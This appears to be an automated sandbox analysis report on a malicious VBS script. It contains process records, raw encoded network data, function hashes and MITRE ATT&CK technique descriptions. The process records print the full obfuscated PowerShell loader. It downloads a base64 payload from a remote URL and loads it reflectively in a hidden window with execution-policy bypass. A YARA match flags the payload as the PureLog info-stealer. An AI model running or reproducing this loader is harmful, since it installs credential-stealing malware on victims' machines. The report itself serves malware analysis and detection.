2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Target ID:	0
Start time:	23:28:23
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs"
Imagebase:	0x7ff61d3e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:28:23
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:28:23
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:28:26
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1989363837.000002669D440000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1964132789.000002669537A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFB4AF137B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2013071704.00007FFB4AF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4af10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 5281edd4763af80399008a3ebe3bb8726f492fab11640122409c004766058680
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 3201677111CB0D8FDB44EF0CE451AB6B7E0FB95364F10056EE58AC3695DA36E882CB45

Analysis Process: powershell.exePID: 5708, Parent PID: 2852COMMON

Executed Functions

Function 00007FFB4AFF0000 Relevance: 2.0, Strings: 1, Instructions: 751COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFB4AFF05AC

Memory Dump Source

Source File: 00000004.00000002.1994005481.00007FFB4AFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4aff0000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: b895b86d95b17fd4eb4449dd7a97a375bd765e8736675da0595db90919331864
Instruction ID: 7c72c34b604ac762c7290fbc9350e6561f819f763583a29522f06d552b4d71a6
Opcode Fuzzy Hash: b895b86d95b17fd4eb4449dd7a97a375bd765e8736675da0595db90919331864
Instruction Fuzzy Hash: 613224A2A0DBC94FF796AF7888586B47FE4EF56210B1801FBE98DC71D3E9189C058351

Function 00007FFB4AFF7F35 Relevance: 1.8, Strings: 1, Instructions: 577COMMON

Download Yara Rule

Strings

J, xrefs: 00007FFB4AFF8199

Memory Dump Source

Source File: 00000004.00000002.1994005481.00007FFB4AFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4aff0000_powershell.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: 3db66e853c412c77759038ec61bfa91c8938db8418f4155652e49bffd932856f
Instruction ID: 11ef54ecc7ef00e77a7f7e7107214eabf2c999736a34633526814ad0a4d3f56e
Opcode Fuzzy Hash: 3db66e853c412c77759038ec61bfa91c8938db8418f4155652e49bffd932856f
Instruction Fuzzy Hash: C00205A2A0DBC54FE75AAF78C9555607FE1EF56210B6800FFE089CB1E3D919AC06C391

Function 00007FFB4AFF0644 Relevance: 1.1, Instructions: 1090COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1994005481.00007FFB4AFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4aff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e131c0e1f97197f2fd3b57092b41e9296039a97ba099c495b2dbdc62a3a7fa0e
Instruction ID: 2a0201aa0145a21f57d38593bd9bc36b5f425b5b54f2afa30a06d7fd9bf8eeb8
Opcode Fuzzy Hash: e131c0e1f97197f2fd3b57092b41e9296039a97ba099c495b2dbdc62a3a7fa0e
Instruction Fuzzy Hash: 536216A290DB894FE396AF3898551747FE5EF96210B1801FFE989C71D3ED18AC06C391

Function 00007FFB4AFF36E3 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1994005481.00007FFB4AFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4aff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75aa7fe9e6db0068a7b904ed2a63f996485f8ad7c5b39c91e3af2192af151221
Instruction ID: f24ecb845e464ce4a783bcb1d01b11bba3593b6654056e99401243237186172b
Opcode Fuzzy Hash: 75aa7fe9e6db0068a7b904ed2a63f996485f8ad7c5b39c91e3af2192af151221
Instruction Fuzzy Hash: 17D134A290EA894FE7A2EF78C8551E5BFA5EF56210B1802FFE49CC71D3D918A805C351

Function 00007FFB4AFF038E Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1994005481.00007FFB4AFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4aff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b95e90f8a94475aa648ef92f14d50d98b791b2b8d7283d88a12b2751ad9e2d
Instruction ID: df40288a8633a7e8e03a4d949fa56077489e62c8c0bb329f8bce1172169f3175
Opcode Fuzzy Hash: f9b95e90f8a94475aa648ef92f14d50d98b791b2b8d7283d88a12b2751ad9e2d
Instruction Fuzzy Hash: 825116A2A0DA890FF7A5EF7889996747BE0EF55200F6841FBE94CCB1D3E9589C058341

Function 00007FFB4AFF9621 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1994005481.00007FFB4AFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4aff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27cb2c0d770f1a38a540007379ac79d51f8c2bc197ab0016e81da718d7843cc2
Instruction ID: 70db77c39b6caba2f0574f64a03d90d03b9e65851b2653a3d37a3f7ede0678ad
Opcode Fuzzy Hash: 27cb2c0d770f1a38a540007379ac79d51f8c2bc197ab0016e81da718d7843cc2
Instruction Fuzzy Hash: 5621F892E0EE860FF396AE3889A42B46AC6EF95215B6800FBE45CC75D3ED1D9C054302

Function 00007FFB4AF25D25 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993559099.00007FFB4AF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4af20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fda797f6a2d322af543035a7f28310b83251a3905174e4bf5b5d04288144fa3
Instruction ID: 71c509cea91f69fe9ff1219cd2bcc35e1d74bee3ded614a5c176a29805a96072
Opcode Fuzzy Hash: 0fda797f6a2d322af543035a7f28310b83251a3905174e4bf5b5d04288144fa3
Instruction Fuzzy Hash: BE01677111CB0C8FD744EF0CE451AA5B7E0FB99364F50056EE58AC36A5DA36E882CB46

Non-executed Functions

Function 00007FFB4AF2A499 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1993559099.00007FFB4AF20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AF20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4af20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e825c7bdac2c8aa8dd4d2c3ca1f7d851d64b1984a6252dd1bc6554dece9fae2
Instruction ID: 29119af37794c4137ec2321613416a7cae86098fad64f48de763662bf2f4dab0
Opcode Fuzzy Hash: 7e825c7bdac2c8aa8dd4d2c3ca1f7d851d64b1984a6252dd1bc6554dece9fae2
Instruction Fuzzy Hash: 2E511DA284E7C14FE7039B708C726917FB0AF03224B5A05EBC4D4CF4E3E6595A5AD322

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

